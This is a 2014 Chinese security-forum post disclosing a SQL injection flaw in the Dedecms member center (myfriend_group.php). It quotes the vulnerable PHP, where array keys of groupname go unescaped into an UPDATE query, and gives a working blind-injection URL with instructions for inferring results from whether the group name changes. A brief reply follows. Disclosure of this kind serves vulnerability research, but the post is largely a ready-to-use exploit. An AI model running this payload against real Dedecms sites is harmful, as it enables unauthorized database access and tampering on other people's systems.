Diana 发表于 2014-2-28 03:11:47

Dedecms 会员中心注入漏洞10

<pre><code>member/myfriend_group.php
}elseif ($dopost == 'save'){
    if(isset($mtypeidarr) &amp;&amp; is_array($mtypeidarr))
    {
      $delids = '0';
      $mtypeidarr = array_filter($mtypeidarr, 'is_numeric');
      foreach($mtypeidarr as $delid)
      {
            $delids .= ','.$delid;
            unset($groupname[$delid]);
      }
      $query = "DELETE FROM `#@__member_group` WHERE id in ($delids) AND

mid='$cfg_ml-&gt;M_ID'";
      $dsql-&gt;ExecNoneQuery($query);
      $sql="SELECT id FROM `#@__member_friends` WHERE groupid in

($delids) AND mid='$cfg_ml-&gt;M_ID'";
      $db-&gt;SetQuery($sql);
      $db-&gt;Execute();
      while($row = $db-&gt;GetArray())
      {
            $query2 = "UPDATE `#@__member_friends` SET groupid='1' WHERE

id='{$row['id']}' AND mid='$cfg_ml-&gt;M_ID'";
            $dsql-&gt;ExecNoneQuery($query2);
      }
    }
    foreach ($groupname as $id =&gt; $name)//遍历key和value 和之前一个诸如一样
    {
      $name = HtmlReplace($name);
      $query = "UPDATE `#@__member_group` SET groupname='$name' WHERE

id='$id' AND mid='$cfg_ml-&gt;M_ID'";
      echo $query;
      $dsql-&gt;ExecuteNoneQuery($query);
    }
    ShowMsg('分组修改完成(删除分组中的会员会转移到默认分组

中)','myfriend_group.php');
}</code></pre>
漏洞证明:

利用方法

先打开127.0.0.1/dede/member/myfriend_group.php随便添加一个

然后看源码里groupname[]中的值

因为没有返回 只能盲注

那么判断是否满足条件就看是否update了原来的数据

这样就easy 执行一下语句

127.0.0.1/dede/member/myfriend_group.php?dopost=save&groupname[3' or @`'`

and (select 1)%3D1 and '1]=12222

如果(select 1)=1的话 那个groupname就会被改成12222

上面的3改成你的groupname的ID就哦了


测试前

测试后

夜尽天明 发表于 2014-2-28 19:14:09

这是连载的节奏啊
页: [1]
查看完整版本: Dedecms 会员中心注入漏洞10